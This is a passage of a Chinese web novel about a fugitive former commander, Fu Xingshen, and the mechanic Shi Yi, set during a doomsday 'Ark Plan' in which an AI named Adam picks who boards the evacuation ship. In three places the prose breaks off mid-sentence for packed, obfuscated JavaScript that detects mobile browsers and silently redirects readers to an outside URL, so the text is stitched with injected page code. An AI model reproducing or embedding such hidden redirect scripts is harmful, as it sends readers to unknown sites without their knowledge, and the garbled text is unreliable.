傅行深随着时意的靠近重新将自己伪装起来。 但他忘记眼前这个人除了是一名技艺娴熟的机械师,还负责基地成员的心理安抚。 因此他的伪装在想要更深层次地探索他的时意看来就像是躲进塑料桌布下的大狗,自以为掩饰得很好。 “老张他们怎么说,是打算要去附近再探探其他矿井吗?” 傅行深一边说一边往卡车的方向走,那里徐强正在用铁镐敲轮胎上的雪,嘴里念念有词: “我说下车的时候把雪铲掉吧,没人听,你看看,冻得邦硬……” “就我们两个,徒步走。”时意跟上来,用一种你在说什么的表情看了他一眼,转头去找老张。 轮胎上的雪块已经清得差不多,老张坐在驾驶座上,卡车的尾气管排出阵阵热气。 “什么?时先生你要和傅兄弟在山里转转?这怎么行,天气这么冷,夜里怕是有一场暴雪……” 傅行深没凑过去,只站在一边等,他估摸着没戏。 谁知那边时意又和老张说了句什么,老张明显面露踌躇,想了一会儿竟然点头了。 时意顶着傅行深震惊又费解的眼神走上前来, “可以走了,老张说他跟基地守夜的人打招呼,到时候给我们放行。” 傅行深点头,两人于是沿着山道继续往前走,身后传来众人的声音—— “让他俩就这么大晚上的在山里转悠不怕出事儿吗?夜里下起雪迷了路那可不是闹着玩的!” 老张坐在车里遥遥望着那渐行渐远的两个人,手一抡方向盘钢铁的巨兽在山道上掉了个头向山下而去。 “你们懂什么,这基地当初就是时先生告诉我们的,他对这里熟的很……” —— 漠河连绵的山岭被白雪吞没,夜色中渐渐浮现出森白的爪牙。 傅行深的话原本就不多,时意此刻也无意开口,两个人便只顾着沉默赶路,区别只在于时意心中似乎有此行的目的地,而傅行深对前路一切未知。 埋到脚脖子的雪踩起来会发出“咯吱咯吱”的动静,除此以外山林里一片悄寂。 “你到底要带我去哪?” 傅行深看着越来越偏僻的山路忍不住问道。 他自然是不怕时意趁着四下无人对自己不利,先不说他有没有那个身手,就看这个身板,真要动起手还指不定谁吃亏呢。 时意虽然行为古板人也比较无趣,但看起来不像个傻子。 时意闻声停下脚步,四下里看了看后对他说:“就快要到了。” 随后回头继续赶路。 傅行深颇有些无奈,可来都来了,只好提起步伐跟上他。 说真的,自从【方舟计划】启动以来,傅行深想明白了一些事,他开始审视自己,审视别人,审视整个世界,从那之后便开启了长达数年的漫长的余痛。 刚才在山顶上,他看着那轮仿佛预兆着人类文明终局的落日,突然升起久违的茫然—— 如果【方舟计划】带着幸存的人远去,那我们这些人存在的意义是什么呢? 动荡的星球,仿佛一切都要流转回万物伊始的无序与混乱,能源枯竭、风暴席卷世界的每一个角落,大地被巨震撕开一道道裂痕…… 世界在毁灭,被遗弃的人们是否真的能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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时意摇了摇头,“我承认这个彩蛋失败地出乎我的预料,但下面这个才是我真正要带你去的地方。” 他指了指脚下,不待傅行深反问便示意他跟上来,二人绕过信号塔来到另一面,傅行深的脸上浮现出一抹不可思议,尽管他掩饰得极好。 信号塔的下方是一座地下防空洞。 也难怪信号塔被山顶的风吹得吱呀乱响,下面的防空洞限制了它无法扎根太深,没有被风掀翻不得不说有一定的运气在里面…… “这里居然有一个防空洞?做什么用的?” 傅行深惊讶的同时难掩心中的疑惑。 时意对他解释道:“这里是曾经军方的一处情报中转站,信号塔接收来自各处的讯号,保留下的资料都在防空洞中有存档。” 黑暗中他看着傅行深棱角分明的脸,平静的声线与峰顶的飓风格格不入。 只听他说——“据说还留存着不少军方的秘密,包括参与某些计划的核心人员的档案。” 傅行深眉头一跳,指尖不自觉地收拢起来。 时意笑了,接着说:“我从见到你的第一面起就一直觉得你有些眼熟,可惜我没有什么过目不忘的本领,相反我记性还很差……” “这里就我们两个人,你不妨有话直说吧。”傅行深不太确定面前这个人对自己,或者说对曾经的自己了解多少,他不想赌博,除非逼不得已否则他不会轻易下注。 于是他选择装糊涂。 “别担心,这个地方我也很久没来过了,一起下去看看?” 时意说着率先下了防空洞,将后背完全地袒露在傅行深面前。 真是不要命地自信啊。 傅行深在心中感叹,这人到底知不知道自己从前是干什么的? “顺便看看,能不能找到从前的你?” 像是知道他心中所想,走在前面的时意开口道。 声音从下方传来有些许失真,傅行深无法判断出时意是用何种语气说出的这句话,他不想赌运气,更不想让自己的秘密暴露在一个陌生人面前,于是一个翻身也跳了下去。 狭长的防空洞中回荡着两个人错落的脚步声,傅行深陷入了沉思—— 这里会保存有从前的他吗? 别说时意,连他自己都有些好奇了。 5. 第 5 章 这是【方舟计划】正式启动的第九年,地球上几乎所有能够利用的资源都被转化为驱动能源挪入到“方舟”的动力仓之中。 早在几个世纪前就大量停摆的工厂又冒起了滚滚浓烟,人类看不到未来,于是选择将地层中埋藏的煤矿全部掘出。 数万台锅炉日夜不息地燃烧,听起来就像是地球死亡前最后的喘息,震耳欲聋。 地球就像是一棵即将倾倒的巨树,环绕它而生的鸟群衔尽它甘美的果实,就要飞离它去寻找新的家园。 距离【方舟计划】最初启动已经是第九个年头,距离方舟漂流舰启程只剩下203天。 此时正值严冬,寒冷的气流在圣彼得堡的上空呼啸盘旋,漫天的冰粒裹挟在疾风中,湖水封冻,湖面上漂浮着几艘锈迹斑斑的渔船。 停泊在涅瓦河畔的阿芙乐尔号巡洋舰像是暴风雪中孤独的幽灵,高耸的桅杆在雪暴中发出不堪重负的闷响。 这样的天气本不该有人冒险出门。 可事实却恰恰相反,宽阔的冬宫广场前围满了人,广播中日夜不休地播报着通知—— “这是地球的落日,却是人类的新生……积极提交个人生物芯片,建立专属DNA档案,‘亚当’将会做出最公正的选择……” 广场上都是来提交生物芯片的人。 据地球联合政府的通告,他们将收集全世界所有幸存人口的生物芯片进行留存,检查无误后将交由智械AI【亚当】来进行筛选。 当然,在筛选前他们会选定一片区域作为试点进行测试,确保筛选过程透明可靠,筛选方式公正严明。 他们向全人类承诺会确保即便运气差没能被选中登上方舟,他的生物芯片也会被完整地保留一同进入太空,抵达“新的家园”。 一枚小小的遗传学ID卡,就能将构成这个人独一无二的双螺旋结构分毫不差地保留下来。 兴许在未来的某一天,当漂流的人们乘着方舟在宇宙中寻找到新的家园,依靠先进的技术,那些被留存下来的生物芯片就能够让死去的人们“重获新生”…… 这对未能入选登上方舟进行宇宙漂流的人来说至关重要。 末日降临,短短二十年地球上的人口骤然缩减到不足九千万,而登上方舟的也只能是其中的万分之一…… 足够幸运的万分之一。 可人类自诞生之日起其大脑额叶便跟随着一并生长和进化,简单来说—— 人类永远也无法摆脱情绪的控制,如果由人类来筛选登船的名额,绝对的公平几乎是一种奢望。 这是所有人心照不宣的观点。 于是便有人提出,“不如让机械来代替人脑,通过输入指令制定出百分百符合我们需求的筛选机制,摒除感性的误导,它将是历史上最公正的尺。” 这个想法经历一番波折终于还是得到了方舟项目组委会的投票赞成。 机械的确拥有人脑所不具备的绝对理性和至高执行力。 智械AI成为了民众中呼声最高的“执法官”。 基于此,在建造超大宇宙漂流舰“方舟”的同时,地球联合政府开启了对智能AI的研发。 全球最顶尖的科学家们进入研发中心,终于在耗时三年零五个月之后成功创造出了人类历史上第一个拥有自主逻辑意识的超高智能AI系统——【亚当】自此诞生。 拥有“亚当”护航的宇宙漂流无疑是安全可靠的,而登上漂流舰的“船票”,全人类也信任地交予【亚当】来发放。 …… “请将生物芯片投放入闸机,扫描虹膜确认身份信息,预祝您成为宇宙漂流的一员……请将生物芯片投放——” 人群沉默又拥挤,没有嘈杂的喧闹声,此地仿佛正在进行一场盛大而庄严的宗教仪式,每个人将芯片投放进入闸机口的一瞬间都不免在心中祈祷—— 万能的主啊,求您选中我吧,我愿脱离这荒芜贫瘠的家园,承受漫长漂流中无尽的孤寂和等待,期待新的家园。 可上帝究竟会不会降临呢? 这是连亚当都不知晓的事。 广场中央悬挂着一道巨大的全息投影幕布,此时此刻正在静音播放着每日新闻。 这道幕布在此之前已经许久没有亮起过了,末日的骤降让人类措手不及,没人有心思关注千百里外发生的事,如今这个时代,生存才是第一大事。 但今天,这道幕布再度亮起,幽蓝色的光影里投射出新闻内容,广场上的人群出现了短暂的骚乱—— 幕布重启的原因竟然是为了通缉一个人。 “上帝啊,他究竟干了什么?” “谁知道呢,这可是有史以来独一份的,上帝保佑……” “瞧瞧,新闻中说的什么?老天,指挥部发出的通缉令,他一定会被追杀到天涯海角的。” 人头攒动,幕布就悬在人群正上方,360°的全息技术让其上的每一个字都映射在在场所有人的视网膜上,内容清晰可见。 『经“全球作战指挥部”信息核实,前亚洲总指挥官确认叛逃,至今下落不明……依据联合国国际综合管理法案第三条第127项规定,针对叛逃一事指挥部将展开全球缉查,提供有效信息者……』 巨大的光幕在风雪中闪动着荧光,伴随着指挥部通缉令之后出现的便是“逃犯”的高清影像和基本信息。 [傅行深,男,25岁,作战指挥部亚洲总指挥官(已罢免),亚裔华人……] “啧,混得是真不赖啊,都榜上有名了。” 人群中一个带着帽子裹着围巾的高大男子仰头盯着那光幕啧啧赞叹。 身旁的人听着他的口音用俄语询问:“中国人?你和他认识吗?” 傅行深指了指没有佩戴同声传译的耳朵,摆了摆手佯装听不懂,转头走出了人群。 没有人察觉到“逃犯”就在身边。 圣彼得堡的人口虽然算不上太多,但最多不出一天,他曾经特训时偷懒这样的小事都会被传得人尽皆知。 信息传播的速度会成指数倍增长。 傅行深呼出一口气来,湿热的水雾将面前一小片范围内的雪融化成水。 “唉,像块牛皮糖,甩都甩不掉。” 他得尽快想办法转移到别的城市去。 傅行深默默地想,指挥部的通缉令总有覆盖不到的地方,而那里将成为他短暂的栖息之所。 “叮——” 像是有什么心灵感应,傅行深的通讯器在下一秒就响了起来。 提示有一条未读信息。 “……” 此时此地能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161034|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联络到傅行深的就只有一个人,想到这他不免苦笑。 他该庆幸这人不是指挥部派来的卧底。 他点开信息,内容一如既往的简短。 [北纬66°29′,东经25°43′去Rovaniemi(罗瓦涅米)] “Rovaniemi……” 纯正的俄罗斯语从傅行深口中轻缓流出,像是恋人之间的呢喃。 傅行深在心底盘算着。 罗瓦涅米是世上唯一一个坐落于北极圈中的省会城市,在这个风雪肆虐的时节,没人能料到他会逆着雪暴直上进入北极圈,那的确是个足够安全的地方。 “听说还是圣诞老人的故乡……” 傅行深把目光落在通讯器上,浅浅地笑了一声。 “算算时间,快的话还能赶上那里的圣诞节,考虑的倒还挺周到。” 通讯器的屏幕因为长时间无操作而自动熄灭,除了一个坐标外对方也没有消息再进来。 这在傅行深看来是两人之间最稀松平常的交流方式。 不,严格来说并不能称之为“交流”。 因为傅行深从来没有回复过对方。 巧的是对面的人也从不找他闲聊,两个人之间保持着某种微妙的默契,彼此维持着理智将对方的世界视作禁区,从不试图涉足。 但傅行深知道,那个人其实始终都在追踪着自己。 他也曾怀疑过对方的目的,怀疑他不过是指挥部企图捕获自己而设下的陷阱,但事实却并非如此—— 相反的,傅行深根据他提供的路线躲过了一次又一次天罗地网般的搜查。 可他始终猜不透那人的动机。 在傅行深心中,旁人的每一次援手实则都早已标好了价码,有些他支付得起,于是他坦然接受,有些支付不起,他索性在一开始就拒绝。 但这次,摆在他面前的是一张打了马赛克的支票,他无从判定自己能否负担这份援助,却提前签下了名字。 他没有删除对方,他在等一切结束,或许自己被捕,或许世界毁灭,他等对方填注下最终的价格。 天地一片苍白,沉默的广场上人流涌动,傅行深抬头凝视着一片雪花从深空坠落,打着旋落入结冰的涅瓦河,如同要敲开一扇封冻的门。 傅行深心底突然升起一丝冲动,他点开通讯器上仅有的那个对话框,发出了半年来第一条信息—— 很冲动。 但傅行深就是想知道到底是什么人在帮助他,是什么人将要在他的“支票”上填写下他可能穷极一生都无法支付的酬劳。 “叮——” 远在普罗旺斯的一处庭院中,一只白皙却骨节分明的手拿起了那只被搁在桌上、提示有新信息接入的通讯器。 彼时普罗旺斯的薰衣草花田已经过了最美的观赏期,但城中还弥漫着浓郁的花香经久不散。 这里的人们还保留着几个世纪前祖先们的传统,通过蒸馏的方式将薰衣草独特的香味收集进玻璃瓶中,将转瞬消散的香氛镌刻为永恒。 那只手的主人便是在这芬芳馥郁的气息中收到傅行深的来信的。 他打开通讯器,从头至尾单方面通信的对话框中头一次有了回应,却只有冰冷简短的三个字—— “你是谁?” 6. 第 6 章 “嗒——嗒——” 防空洞中森冷潮湿,山间遍布的寒气让这里像一座封存已久的冰窟。 “时意?你在哪里?” 傅行深穿行在七拐八弯的走廊中险些迷失了方向。 和他分开没两分钟,本该就在附近的时意却没有丝毫回应,幽深的廊道中只有傅行深渐渐失衡的心跳声。 他的心脏一下一下地撞击着胸腔,将滚烫的血泵送至四肢百骸。 黑暗中带着令人头皮发麻的刺骨的战栗。 “真是有病。” 傅行深晃晃脑袋感到清醒了些许,方才的状况并不是第一次出现,他之前就怀疑自己出了问题。 大概是从前战场上留下的后遗症,就是不晓得是生理还是心理上的了。 不过无所谓,他都能控制得住。 傅行深调整好后便步履稳健地沿着走廊往前搜,走廊两边时不时就会出现被特制加厚铁皮门封住的房间,他用了些手段便将那些门撬开了。 很可惜,确实如时意所言,这里封存有大量军方加密的传讯记录,还有各地观测台的观测数据等等杂七杂八的资料。 可始终没有傅行深需要的东西。 他需要找到指挥部或是军方中参与【方舟计划】的核心人员名单。 “这种绝密文件会出现在漠河这样偏僻的情报站中吗?” 傅行深低喃道。 他要找一个人,因此他需要这份文件,但前提是这份资料只能落到他自己手里。 至少不能被时意看到。 在傅行深的眼里时意仍是一个来路不明且身份存疑的骗子,而且从目前来看,他和军方说不定有什么关联。 ——这处地下情报站可不是谁随随便便上个山就能撞见的。 傅行深转过拐角来到岔路口,一面是延伸进黑暗里的笔直长廊,一面是一条肉眼可见被水泥墙截断的死路。 可如果真是死路,干嘛还要在这里设置一个岔路口呢? 傅行深从工装裤的口袋中掏出一把弹簧刀来拿在手上,刀并没有出鞘,他用刀把敲击死胡同三面的墙壁,边边角角细细摸排了一遍。 “哒哒……哒……咚——” 有一处明显是空腔。 傅行深在空腔周围确认一番,判断出这里应该有一个能容人通过的暗道。 “藏这么深,应当有什么好东西吧?” 说着傅行深便四下里寻找打开的机关,不知是碰到了哪里,“轰隆”一声面前的墙壁整个下沉下去,暴露出一个一米见方的洞口,黑黢黢的,洞口甚至还冒着灰。 傅行深不作犹豫跨了进去,距离说好与时意汇合的时间点还有段时间,刚好来得及进去探探。 里面的景象果真没让傅行深失望。 “你怎么在这?” 傅行深不自觉失去了素日里的伪装,声线有些低沉的警惕。 暗道的尽头是一个土砌的洞窟,洞窟的四壁是凹凸不平的土坑,就在这简陋的洞窟中央摆放着一张有些年头的木桌。 木桌上应当原先放着一沓文件,而此刻,这沓文件就攥在本不应该出现在这里的时意手中。 “嗯?这么快就找过来了?” 时意有些意外傅行深的突然出现,但也只是一瞬间,转头便又将目光投放到手中的资料上面。 “本事不错啊,不愧是曾经的指挥官大人。” 他头也不抬地随口夸赞道,手中的资料被他翻看得页角翻飞。 “!” 傅行深内心却不像他那么平静。 这个人是怎么知道的?他曾经担任过联合政府的防卫部队总指挥官,可这件事在他被政府全球通缉的那一刻就被永久封存进档案里。 这个时意又是从哪里知道的这件事? 他早就知道? 还是从他手里那叠文件里看到的? 如果是他手中的文件……傅行深的眉眼在黑暗的洞窟中压得极低,眼睛像是草原上的郊狼一样在夜一般的浓黑中发出暗光。 “把东西交给我,这是军方的机密文件,你没有翻阅的权限。” 傅行深不动声色地将弹簧|刀反握在掌中,为了掩盖那点细微的动静他不得不随口掰扯着说点什么。 他的目光很克制,又不够克制地盯着时意手里的东西。 他几乎断定那就是他要找的名单。 时意已经将内容翻看完毕,刚巧听到这句话不觉有些好笑。 “权限?谁给的权限呢?” “军方给的权限吗?他们都已经要坐着方舟漂流出太阳系了……” “还是说,是你给的权限?” “可惜你已经被除名了,长官。” 时意说这话时的语气带着股不知死活的调侃,成功让与他对峙的傅行深心口一梗。 “……” 傅行深不得不承认自己看走眼了,在他眼里时意是一个坚持每晚十点必须熄灯睡觉的骗子老古板。 可他错了,面前的时意分明是狡黠敏捷的狐狸,没准连他带给人的古板印象也是刻意伪装出来的。 真是个精明的骗子! “既然你都知道了那不如把资料给我,实不相瞒我真的很需要它。” 傅行深变换策略以退为进,循循善诱着让时意交出手中的文件。 时意可不会轻易上当,“给你可以,让我安全离开。” “你知道的有点多。” 傅行深微笑,不点头也不摇头。 时意沉默了,他自知从傅行深手底下带走这份资料的可能性几乎约等于零,如果傅行深一定要看也不是不行,他或许可以要求与他信息共享…… 就在这时傅行深的动作打破了僵持的局面,他的夜视能力比起没有经历过特殊训练的时意来说好出去太多,于是趁他思索之际暴起直冲过去! “放开我!” 对上傅行深时意没有丝毫的胜算,从任何层面上来讲都是如此。 而傅行深,他忘了,这人抛开正直的军人壳子之后,内里本就是个不按常理出牌的混不吝! 而他对此掉以轻心的代价是惨重的。 时意被傅行深扣住肩膀重压在桌上时,他除了毫无意义的挣动做不出任何抵抗,桌上积了厚厚一层灰,时意挣扎间灰尘涌入肺腔,他剧烈地咳嗽起来。 黑暗中,傅行深感受着掌下单薄脊背发出的震颤内心如同山上的雪一样冰冷静默。 眼前的人无疑是个隐藏身份技艺高深的骗子,没有哪个普通人会在外人面前刻意隐瞒自己的真实身份。 也没有哪个普通人轻轻松松就能带他进入封存已久的军方秘密基站…… 他不愿意说也没关系,傅行深有的是办法撬开他的嘴。 于是,当时意的咳喘渐渐停下时,他感到傅行深冰凉的虎口紧扣着他的下颌,他被迫向后仰起头,傅行深拿在手里的那把匕首就紧紧贴在他的后颈上—— “说说看,你究竟是谁?” 汹涌的杀意毫不留情地从森冷的刀刃刺进时意身体,他毫不怀疑傅行深会在顷刻间手起刀落杀了他。 这个人向来有这种魄力,时意有些苦涩地想。 他张了张嘴,刺痒的喉头颤动着要发出声音…… “考虑清楚再回答,我的耐心有限,如果让我发现有半点问题,你的谎言就只能说给上帝听了。” 时意听到这句话无声地笑了。 上帝? 不好意思,他是个信仰坚定的无神论者,就算是死了那所谓的创世神也不会听到他半句谎言。 傅行深看不到他的眼睛,却还是感觉到掌下的人侧过面颊,就像一只温驯的羔羊,在屠夫的斧刃下引颈就戮—— “那你呢长官,你的谎话只说给我听过吗?” “……” 傅行深被那只眼睛里的洞察刺得挪开了眼。 很奇怪,眼前这个人几乎将他看了个对穿,他却甚至还没有摸清对方的底细。 这是他从来没遇到过的情况,比起现在就杀了时意,傅行深清楚应当留他一命,他也的确这么做了。 他放开钳制决定和此人谈判—— “我只要资料,把资料给我,我放你离开密道。” 傅行深一边说着一边打量时意,确定此人是个不精于搏斗的普通人,面对时意即便没有武器他仍然有十成的把握抓住他。 时意思虑半晌,答应了。 “你站在原地不要动,把刀扔过来,我把资料放在密道的入口处,等我离开后你再来取。” 傅行深点头照做,将弹簧|刀扔到了时意脚边,自己站在原地等他离开。 “沙沙”的脚步声渐行渐远,傅行深听着动静知道这人信守承诺将资料留在了洞口,还算讲信用。 傅行深勾起了嘴角眼底冰冷,“最好别让我抓住你。” 说罢便抬步往出走,果不其然,那叠纸就放在洞口外,傅行深弯腰捡了起来。 …… 随着一页页翻动纸张,傅行深的脸色逐渐黑沉下来。 这根本不是什么名单! 他气得脑瓜子嗡嗡,几乎要把牙齿都咬碎。 那叠资料的第一页用黑体加粗的大字明晃晃写着——“2235-2245年间大兴安岭观测台行星观测数据记录表”的字样。 和傅行深想要的东西相差了十万八千里不止…… “……时意,最好别让我抓到你。” 话音还未落,隔着一堵墙的外面响起了越野车发动的声音,轮胎摩擦雪地发出震耳欲聋的噪响,像是某些人嚣张的告别。 “你最好祈祷我不要抓住你,骗子!” 傅行深攥着手中没用的资料双目通红,这个大骗子! * 傅行深没料到这座显然荒废许久的防空洞中还藏着一辆越野车,是谁准备的不言而喻。 对方把他骗来这里的目的是什么呢? 这个问题困扰了他一路,等回到基地时天色已经接近黎明,傅行深身心俱疲地返回住处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161035|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开门一看,被褥还是昨日清晨一起离开时那般平整。 果然,人已经“肇事逃逸”了。 “……” 傅行深此时没有功夫思考时意到底逃去了哪里,他从怀中取出一样东西来,神色欣慰。 “这一趟也不是完全没有收获。” 暖黄的灯光下是一个薄薄的牛皮纸袋,纸袋上的字迹已经被人为刮掉了,留下残破的毛边让人根本辨认不出到底是什么秘密文件。 不过纸袋中的东西却留下了些信息。 那是一张被烧毁了大半的档案纸,档案属于一位曾经执行过机密任务的军官。 根据军方规定,凡是参与执行标注为“特殊”的任务就必须在数据库中记录在案,为了防止信息的丢失甚至需要备份纸质文件。 而如今,这项规定正方便了傅行深。 档案中附有这名军官的基本信息,一寸见方的证件照上印着一张舒展坚毅的脸。 这人曾是傅行深的同僚,二人同是参与过【方舟计划】的亚洲军官。 档案中提到他曾被派往一处边境执行任务,没想到竟就在漠河。 何其巧合。 傅行深仔细辨认那残页上的只言片语,目光落在一句只剩下一半的信息上,眉头紧锁。 [2504年-2506年派遣驻守漠河军事基地,其间多次未经上报潜入大兴安岭观测站,意图盗取机密文件■■■] 后面的内容被烧毁了。 简短的几行字在傅行深看来却疑点重重。 大兴安岭、秘密潜入、还有什么机密文件…… 驻守期间擅离职守潜入禁区的处罚傅行深是清楚的,可这个人不仅被免除了刑罚,甚至在【方舟计划】期间一路高升。 傅行深只知道这人在参军前是国内顶尖高校的高材生,却没料到他在进入【方舟计划】之前竟然就已经留有案底。 可他是如何躲过联合政府的层层审查进入核心领导席位的呢? 在傅行深被撤职通缉的那段时间里,这人甚至接替他成为了新一任总指挥官。 “这中间一定有人隐瞒了什么。” 傅行深产生了一种挥开迷雾后陡然而生的茫然。 他看向手中那张纸,心中有了一个大胆的猜测——有人抹除了这个人曾经犯下的重大过失,耗费心力将他一路推举进【方舟计划】,为的就是…… 傅行深卡壳了,他百思不得其解,“为的是什么呢?” 傅行深想不明白,脱力地仰倒在床铺上,头顶是眩目的电灯,昏黄的光在天花板上打下一圈一圈如波纹涟漪般的色泽。 他偏过头埋进被褥间,闭上眼,黑暗中只剩下萦绕在鼻尖的淡淡皂粉香。 他想起来了,在他入住的那晚为了表示欢迎,时意把自己洗干净晾晒好的床单被套借给他用…… 啧,别想了。 别忘了那可是个三更半夜把人扔深山里自生自灭的铁心肠,七个小时前就是因为他你被困在山里叫天天不应。 傅行深回想起昨天夜里的经历打了个寒噤,动摇的心思瞬间又变得坚定起来。 无论时意跑去了哪里,最好别落在自己的手上。 “什么?!你说谁跑了?时先生跑了?哎呀,那可怎么办!” 翌日,傅行深坐在桌旁吃早餐,面无表情地看着老张听到消息后生动的面部表情。 “装的有点过了。把你知道的关于他的事情都一五一十告诉我,兴许我下次见到他能发发善心绕他一命。” “……” 张鑫被面前这个煞神盯得浑身汗毛倒立。 傅行深今早黎明顶着满头满身的雪一个人走回基地的事他也听说了,害,怎么说呢,要不是他和时意那层关系他铁定跟着傅行深一起骂。 奈何他这人向来帮亲不帮理。 “唉你也知道,这咱跟他也不是那么熟……哎哎!好好说着话你把刀放下!!” 傅行深听话地收回刀,“啪”一声拍在桌面上,吓得老张又是一抖。 “这是做嘛呢,我跟那个时意真不熟……顶多,顶多他有东西撂在我这,听我的,真要走他指定先去找我把东西要回去,这次就是出趟远门,指不定十天半月就自己回来了。” 傅行深半信半疑盯着他看。 “真的!你刀都快架我脖子上了我敢说假话骗你吗?!” “行,信你一次。” 傅行深站起身来,挺拔的身形让人想起草原上舒展身姿的猎豹,精悍而充满爆发力,他拍了拍老张的肩膀,面容和善—— “刚才开玩笑的,我向来是以理服人能讲道理绝不动手,放轻松啊。去打个鸡腿吧,挂我账上。” 老张:“……” 傅行深从老张那得到了准话,得知时意这一趟出去迟早得回基地便也不再追问,每日里在基地跟着安排参与基地的建设,生活再一次回到正轨。 只是令他意外的是,没等多久时意就回来了,还是以一种他绝对意想不到的方式…… 7. 第 7 章 “这漠河的冬天可真够冷的啊……” 基地岗亭中守夜的人跺着快要冻僵的脚,冷得直打哆嗦。 相比起来,一旁的傅行深同样裹着不怎么保暖的军大衣,站得却像长白山上终年屹立的松木一般笔直挺拔。 今夜碰巧轮到老张和傅行深两个人值夜,此时已是后半夜,呼啸的北风裹挟着冰碴子从岗哨亭里穿堂而过,吹得人透心凉。 老张揣着手蹲在亭子里,恨不能一头扎进燃烧的炭盆子里取暖。 傅行深偏头看见他那副缩手缩脚的惨相叹了一口气,说道:“不行你就先回去睡吧,天也快亮了。” 老张撇了撇嘴,“骗谁呢这夜还长着,让你一个守在这我还不放心呢。” 他搓了搓手站起身来,蹲的时间久腿有点麻,正呲牙咧嘴地跺脚就看见不远处雪地里出现一个攒动的黑影! “诶你快看看远处那是什么东西……别是熊瞎子来了吧?” 老张的脸刷一下就白了。 前两天就出现过山里的野熊准备过冬,找不到吃食趁夜闯到了基地里。 人哪里敌得过身强力壮的黑熊? 听说那天值夜的有一个到现在还在床上躺着…… 老张可不想被黑熊一巴掌拍去给那伙计当病友。 傅行深闻声也警惕起来,奈何距离太远又下着大雪,他也看不大清晰。 以防万一,傅行深还是卸下了扛在肩上的猎|枪,“咔哒”一声利落地拉开了保险栓。 万一真是山上的黑熊下来找食,傅行深认为有必要让它吃上点苦头。 “诶诶诶我的乖乖,这玩意儿你会使吗当心走火!” 比起远处的“熊”,老张一脸惊恐地看向身旁的猎|枪,生怕一个不留神反被队友一梭子给送走。 他们守夜配的是从前山里猎户自制的土枪,猎户们通常都用它打些山鸡野兔什么的,用来对付野熊和老虎别说猎杀违法,威力也不够。 “放心,没吃过猪肉还没见过猪跑吗?。” 傅行深摆弄了两下手里的猎|枪,宽慰心惊胆战的老张道。 他碰过的枪没有一千也有八百,虽说没接触过这样的土制枪弹,但枪械的原理都差不多,他有这个自信。 “……” 你最好真的能让我放心。 老张这般想着默默地站到了傅行深背后。 他作为一个老机械师傅自然清楚这种土枪的保险都不怎么精良,擦枪走火就跟闹着玩似的,更别说还有炸管的可能…… 他可不是傅行深这种疯子,敢拿命去赌。 那道黑影还在靠近,老张抻长脖子眯了眯眼,老半天才看清比起山里一巴掌能把人拍扁的野熊,这体型倒更像是…… “我怎么感觉那像是个人!” 傅行深也看出来了,心里一突,天寒地冻三更半夜怎么会有人找来这里? 疑惑间他看见那道身影踉踉跄跄又走近了些,单薄的形状像是随时要被一阵风刮走。 果然,就在下一秒,那人没走两步便“叭唧”一下栽倒在齐膝深的雪地里,没了动静。 傅行深二人谨慎地没有立即上前去查看,等了半分钟不见那人再动弹,对视了一眼。 “坏了,别是给冻死了吧?” 老张忙不迭冲上前去查看,傅行深挎着枪紧跟其后。 “我的老天……” 老张被眼前的景象吓得懵了神。 雪地里趴着一个衣着单薄的年轻人,漆黑的发间全是冻得结了块的雪。 这还不是最吓人的。 只见这人趴倒的地方,身下的雪慢慢渗出血红的痕迹——在这年轻人的肩背上,竟然有两处还未愈合的枪伤! 埋在雪里时间久了也会窒息,傅行深蹲下身来,避开伤口把人翻了个面,也彻底看清楚了这人的模样。 苍白的脸上仿佛没有一丝生气,原先红润的唇此刻也干裂得渗出血丝,附着一层冷白的霜。 倘若不是他的胸膛还有起伏仍在喘气,傅行深都要以为这人是遭了报应已经魂归西天了—— 没错,躺在雪地里的不是别人,正是那个将傅行深扔在深山里其后失踪了十几天的时意。 老张不是不知道傅行深最近一直想抓到时意泄愤,因此杵在一旁惊慌又警觉地看着傅行深把时意捞起来,生怕这位爷一个怒火攻心就地解决了时意。 “别愣着了,快去把老李叫醒,救人!” 傅行深可没有这样趁人之危的想法,比起这时候报私仇,他更希望等时意完全清醒后能够给他一个解释。 老张被吼得打了个激灵,慌忙点头后连滚带爬地跑回基地里摇人。 时意可不能就这么死了。 留在原地的傅行深将指尖按在时意冰凉的侧颈处,试探他的脉搏,眉心紧蹙在一起。 指尖触碰到冰冷的皮肤,微弱的脉搏有一下没一下地跳动着,让他几度怀疑这人是不是已经冻死在了雪地里。 时意的脉搏弱得几不可察。 傅行深俯下身仔细去听,他的呼吸如同漠河冬夜里落下的雪,寂静而冰冷,吹落到鼓膜时的声音比一片羽毛坠地的动静都要小…… 不会就这么死了吧? 想到这个可能,傅行深没由来地一阵心悸。 关于眼前这个骗子,还有很多疑团没有解开。 按道理来说,像这样一个满口谎言甚至蒙骗他给他挖了大坑的人傅行深是绝对不会再看哪怕一眼的,更别说施以援手—— 农夫与蛇的故事能流传上千年之久不是没有它的道理。 可这次他还是手软了。 